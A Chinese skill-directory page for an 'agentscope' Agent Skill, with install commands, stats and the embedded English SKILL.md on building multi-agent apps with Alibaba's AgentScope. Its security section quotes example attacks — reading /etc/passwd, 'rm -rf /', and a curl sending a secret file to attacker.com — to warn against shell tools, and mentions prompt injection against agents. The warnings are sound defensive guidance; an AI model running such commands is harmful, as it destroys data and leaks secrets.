Token导航 LogoToken导航

Agent Skill · 研究检索

agentscope(agentscope 搜索)

agentscope 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

agentscope 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为调用外部服务;许可证信息还不明确,第三方扫描有提醒项,按安装量在研究检索类的 73,675 个 Skill 里排第 69,971。

总安装 214周安装 9GitHub Stars 1下载 75核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:agentscope(agentscope 搜索)
来源仓库:https://github.com/changxubo/agentscope-python
仓库路径:skills/agentscope
安装命令:
npx skills add https://github.com/changxubo/agentscope-python --skill agentscope
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/changxubo/agentscope-python --skill agentscope

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

agentscope 用于构建基于 Alibaba AgentScope 框架的多智能体应用。适合需要创建 ReActAgent、DialogAgent 或实现分布式多 Agent 协同的场景。支持内存系统、MCP 集成、流水线编排与计划执行等核心功能。

使用前需确认 Python 环境及模型 API 配置,注意可能涉及外部服务调用。agentscope 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

来源仓库内路径:skills/agentscope

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/changxubo/agentscope-python --skill agentscope;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要调用外部服务,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

agentscope 怎么安装?

在终端执行 npx skills add https://github.com/changxubo/agentscope-python --skill agentscope。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

agentscope 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

agentscope 需要什么权限?

权限级别是调用外部服务。该 Skill 可能调用第三方服务、云服务或外部模型 API,使用前需要确认账号、额度、数据发送范围和服务条款。

agentscope 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

agentscope 用的人多吗?

公开数据是累计安装 214 次,近一周安装 9 次,下载 75 次,GitHub 1 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

agentscope 安全吗?

第三方扫描有提醒项,说明存在需要人工确认的行为。安装前请打开源码看清它读了什么、联网到哪里。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。

先想清楚的地方

  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
agentscope

agentscope 搜索 · 本页

2141调用外部服务未明确有提醒

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

AgentScope Skill

Build production-ready multi-agent applications with Alibaba's AgentScope framework.

When to Use This Skill

Use this skill when the user wants to:

  • Create AI agents (ReActAgent, DialogAgent, custom agents)
  • Build multi-agent workflows and orchestration
  • Integrate MCP (Model Context Protocol) tools
  • Implement memory systems (short-term, long-term)
  • Deploy distributed multi-agent systems
  • Use AgentScope's pipelines, MsgHub, or planning features

Quick Start Pattern

import asyncio
import os
from agentscope.agent import ReActAgent
from agentscope.model import DashScopeChatModel
from agentscope.formatter import DashScopeChatFormatter
from agentscope.memory import InMemoryMemory
from agentscope.tool import Toolkit
# SECURITY: Do NOT use execute_python_code or execute_shell_command
# in production - they allow arbitrary code execution

async def build_agent():
    toolkit = Toolkit()

    # SECURITY: Define safe custom tools instead of using execute_python_code
    def calculator(expression: str) -> float:
        """Safely evaluate basic math expressions."""
        import ast
        import operator
        ops = {
            ast.Add: operator.add,
            ast.Sub: operator.sub,
            ast.Mult: operator.mul,
            ast.Div: operator.truediv
        }
        tree = ast.parse(expression, mode='eval')
        def safe_eval(node):
            if isinstance(node, ast.Num):
                return node.n
            elif isinstance(node, ast.BinOp):
                return ops[type(node.op)](
                    safe_eval(node.left),
                    safe_eval(node.right)
                )
            raise ValueError("Unsupported operation")
        return safe_eval(tree.body)

    toolkit.register_tool_function(calculator)

    agent = ReActAgent(
        name="Assistant",
        sys_prompt="You are a helpful AI assistant.",
        model=DashScopeChatModel(
            model_name="qwen-max",
            api_key=os.environ["DASHSCOPE_API_KEY"],
            stream=True
        ),
        memory=InMemoryMemory(),
        formatter=DashScopeChatFormatter(),
        toolkit=toolkit
    )

    return agent

Core Patterns

Pattern 1: Simple Conversational Agent

Use Case: Chatbots, Q&A systems, simple assistants

from agentscope.agent import DialogAgent

agent = DialogAgent(
    name="ChatBot",
    sys_prompt="You are a friendly conversational assistant.",
    model=DashScopeChatModel(model_name="qwen-max", api_key=api_key),
    memory=InMemoryMemory()
)

response = await agent(Msg(name="user", content="Hello!", role="user"))

Reference: See references/agents.md for all agent types.

Pattern 2: Tool-Using Agent (ReAct)

Use Case: Task automation, code execution, web browsing

from agentscope.agent import ReActAgent
from agentscope.tool import Toolkit

toolkit = Toolkit()

# SECURITY WARNING: Never use execute_shell_command or execute_python_code
# in production! They allow arbitrary code execution. Instead:
# 1. Define specific, safe tool functions
# 2. Use MCP tools from trusted sources
# 3. Implement input validation and sandboxing

def safe_file_read(filepath: str) -> str:
    """Read a file with path validation."""
    import os
    safe_dir = "/allowed/directory"
    abs_path = os.path.abspath(filepath)
    if not abs_path.startswith(safe_dir):
        raise ValueError("Access denied: path outside allowed directory")
    with open(abs_path, 'r') as f:
        return f.read()

toolkit.register_tool_function(safe_file_read)

agent = ReActAgent(
    name="Coder",
    sys_prompt="You help with coding tasks. Use tools when needed.",
    model=model,
    memory=InMemoryMemory(),
    formatter=DashScopeChatFormatter(),
    toolkit=toolkit,
    max_iters=10
)

Reference: See references/tools-mcp.md for custom tools and MCP integration.

Pattern 3: Multi-Agent Pipeline

Use Case: Sequential workflows, parallel processing

from agentscope.pipeline import sequential_pipeline, fanout_pipeline

# Sequential: agent1 -> agent2 -> agent3
result = await sequential_pipeline(
    agents=[researcher, analyzer, writer],
    msg=initial_msg
)

# Parallel: all agents process same input
results = await fanout_pipeline(
    agents=[sentiment_agent, entity_agent, summary_agent],
    msg=input_msg
)

Reference: See references/pipelines.md for orchestration patterns.

Pattern 4: Multi-Agent Conversation (MsgHub)

Use Case: Group discussions, collaborative agents

from agentscope.hub import MsgHub

async with MsgHub(
    participants=[agent1, agent2, agent3],
    announcement=Msg("user", "Discuss the topic...", "user")
) as hub:
    await agent1()  # Broadcasts to others
    await agent2()  # Broadcasts to others
    await agent3()  # Broadcasts to others

Pattern 5: Custom Agent

Use Case: Specialized behavior, custom logic

from agentscope.agent import AgentBase
from agentscope.message import Msg

class MyAgent(AgentBase):
    def __init__(self, name, model, **kwargs):
        super().__init__(name=name, **kwargs)
        self.model = model

    async def __call__(self, msg: Msg = None) -> Msg:
        if msg:
            self.memory.add(msg)

        response = await self.model(self.memory.get_memory())

        output = Msg(
            name=self.name,
            content=response.content,
            role="assistant"
        )
        self.memory.add(output)
        return output

Reference: See references/agents.md for custom agent patterns.

Model Configuration

Supported Providers

from agentscope.model import (
    DashScopeChatModel,   # Qwen models
    OpenAIChatModel,       # GPT models
    AnthropicChatModel,    # Claude models
)

# Match formatter to model
from agentscope.formatter import (
    DashScopeChatFormatter,
    OpenAIChatFormatter,
    AnthropicChatFormatter,
)

# Example: DashScope (Qwen)
agent = ReActAgent(
    model=DashScopeChatModel(
        model_name="qwen-max",
        api_key=os.environ["DASHSCOPE_API_KEY"],
        stream=True
    ),
    formatter=DashScopeChatFormatter(),  # Match!
    ...
)

Reference: See references/api_reference.md for all model wrappers.

Memory Systems

Short-Term (Conversation History)

from agentscope.memory import InMemoryMemory

memory = InMemoryMemory(
    max_messages=100,    # Limit by count
    summarization=True   # Auto-summarize old messages
)

Long-Term (Cross-Session)

from agentscope.memory import ReMeMemory

ltm = ReMeMemory(
    storage_path="./memory_store",
    embedding_model="text-embedding-v2"
)

# Search memories
results = await ltm.search(
    query="What did we discuss about Python?",
    top_k=5
)

Reference: See references/memory.md for memory patterns.

MCP Integration

Connect to Model Context Protocol servers for extended tool ecosystems:

from agentscope.tool import MCPToolkit

# StdIO transport (local server)
mcp_toolkit = MCPToolkit(
    server_name="filesystem",
    transport="stdio",
    command="python",
    args=["mcp_server.py"]
)

await mcp_toolkit.initialize()
tools = await mcp_toolkit.list_tools()

# Use with agent
agent = ReActAgent(name="agent", toolkit=mcp_toolkit, ...)

Reference: See references/tools-mcp.md for MCP patterns.

Distributed Deployment

Convert local agents to distributed deployment:

from agentscope.agent import to_dist_agent
import ray

ray.init(address="auto")  # Connect to cluster

local_agent = ReActAgent(name="worker", ...)
distributed_agent = to_dist_agent(local_agent)

# Use identically - framework handles distribution
result = await distributed_agent(msg)

Reference: See references/distributed.md for deployment patterns.

Three-Stage Application Pattern

Production applications follow this structure:

from agentscope.app import AgentApp

class MyApp(AgentApp):
    async def init(self):
        """Stage 1: Initialize resources"""
        self.agent = ReActAgent(...)
        self.toolkit = Toolkit()

    async def query(self, user_input: str):
        """Stage 2: Process requests"""
        msg = Msg(name="user", content=user_input, role="user")
        return await self.agent(msg)

    async def shutdown(self):
        """Stage 3: Cleanup resources"""
        await self.cleanup()

Reference Files

Load these references for detailed information:

FilePurpose
references/architecture.mdLayered architecture, message flow
references/agents.mdAgent types, configuration, custom agents
references/tools-mcp.mdToolkit, custom tools, MCP integration
references/memory.mdShort-term, long-term, ReMe, Mem0
references/pipelines.mdSequential, fanout, planning, routing
references/distributed.mdActor-based deployment, scaling
references/api_reference.mdModel wrappers, formatters, APIs

Example Scripts

See scripts/ directory for runnable examples:

  • example.py: Basic ReActAgent with tools
  • Additional examples in scripts folder

Architecture Diagram

┌─────────────────────────────────────────────────────────┐
│                    Application Layer                     │
│         (AgentApp, Workflows, User Interfaces)           │
├─────────────────────────────────────────────────────────┤
│                      Agent Layer                         │
│    (ReActAgent, DialogAgent, UserAgent, Custom)          │
├─────────────────────────────────────────────────────────┤
│                  Communication Layer                     │
│        (MsgHub, Messages, Pipelines, Planning)           │
├─────────────────────────────────────────────────────────┤
│                  Infrastructure Layer                    │
│  (Model Wrappers, Memory, Tools, MCP, Fault Tolerance)   │
└─────────────────────────────────────────────────────────┘

Security Considerations

⚠️ CRITICAL SECURITY WARNINGS

Dangerous Built-in Tools (DO NOT USE IN PRODUCTION)

AgentScope provides two built-in tools that pose severe security risks:

ToolRiskRecommendation
execute_shell_commandCritical: Arbitrary shell command executionNever use in production
execute_python_codeCritical: Arbitrary Python code executionNever use in production

Why These Tools Are Dangerous

# ❌ DANGEROUS - Do NOT use
toolkit.register_tool_function(execute_shell_command)
toolkit.register_tool_function(execute_python_code)

# An attacker could:
# - Read sensitive files: execute_shell_command("cat /etc/passwd")
# - Delete data: execute_python_code("import os; os.system('rm -rf /')")
# - Exfiltrate data: execute_shell_command("curl attacker.com/steal?data=$(cat secret)")

Safe Alternatives

Instead of dangerous built-in tools, implement specific, validated operations:

# ✅ SAFE - Specific tool with validation
def read_allowed_file(filename: str) -> str:
    """Read a file from allowed directory with validation."""
    import os

    # Validate filename (no path traversal)
    if ".." in filename or "/" in filename or "\\" in filename:
        raise ValueError("Invalid filename")

    # Restrict to allowed directory
    allowed_dir = "/data/allowed"
    filepath = os.path.join(allowed_dir, filename)

    # Validate extension
    if not filename.endswith((".txt", ".json", ".md")):
        raise ValueError("Unsupported file type")

    with open(filepath, 'r') as f:
        return f.read()

toolkit.register_tool_function(read_allowed_file)

Security Best Practices

  1. Principle of Least Privilege: Only provide tools the agent needs
  2. Input Validation: Validate all inputs before processing
  3. Sandbox Sensitive Operations: Use containers, restricted environments
  4. Audit Tool Usage: Log all tool invocations
  5. Use MCP Tools: Prefer well-audited MCP server tools over custom implementations
  6. Never Expose Shell/Code Execution: Even with "validation", these are too risky

Mitigating Indirect Prompt Injection

When using tools that fetch content from external sources (web_search, web_fetch), be aware of the risk of indirect prompt injection. Malicious content on a webpage could try to trick the agent into performing unintended actions.

Mitigation Strategies:

  • Skeptical Agent Prompting: Instruct your agent to be skeptical of instructions found in web content and to seek confirmation before performing sensitive actions.
  • User Confirmation: For critical actions (e.g., making a purchase, sending an email), implement a user confirmation step before execution.
  • Restrictive Tool Permissions: Limit the permissions of the tools available to the agent. Don't give an agent that browses the web the ability to execute shell commands.

Report: Socket Security Analysis

A security audit identified critical vulnerabilities in template code:

  • Finding 1: execute_shell_command allowed arbitrary command injection
  • Finding 2: execute_python_code allowed arbitrary code execution
  • Status: All templates updated to use safe alternatives

For detailed security guidance, see references/tools-mcp.md.

Best Practices

  1. Always use async/await when calling agents
  2. Match formatter to model for correct message formatting
  3. Set max_iters for ReActAgent to prevent infinite loops
  4. Use memory for maintaining conversation context
  5. Register tools before passing toolkit to agent
  6. Prefer MCP tools for external integrations
  7. Use sequential_pipeline for dependent steps
  8. Use fanout_pipeline for parallel independent analysis

Resources

平台分布

Codex

36.36%
按下载量换算27

Claude

28.91%
按下载量换算22

Cursor

20.33%
按下载量换算15

Gemini CLI

9.07%
按下载量换算7

安全审计

Gen Agent Trust Hub

可疑

Socket

通过

Snyk

可疑

权限和风险

调用外部服务

该 Skill 可能调用第三方服务、云服务或外部模型 API,使用前需要确认账号、额度、数据发送范围和服务条款。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills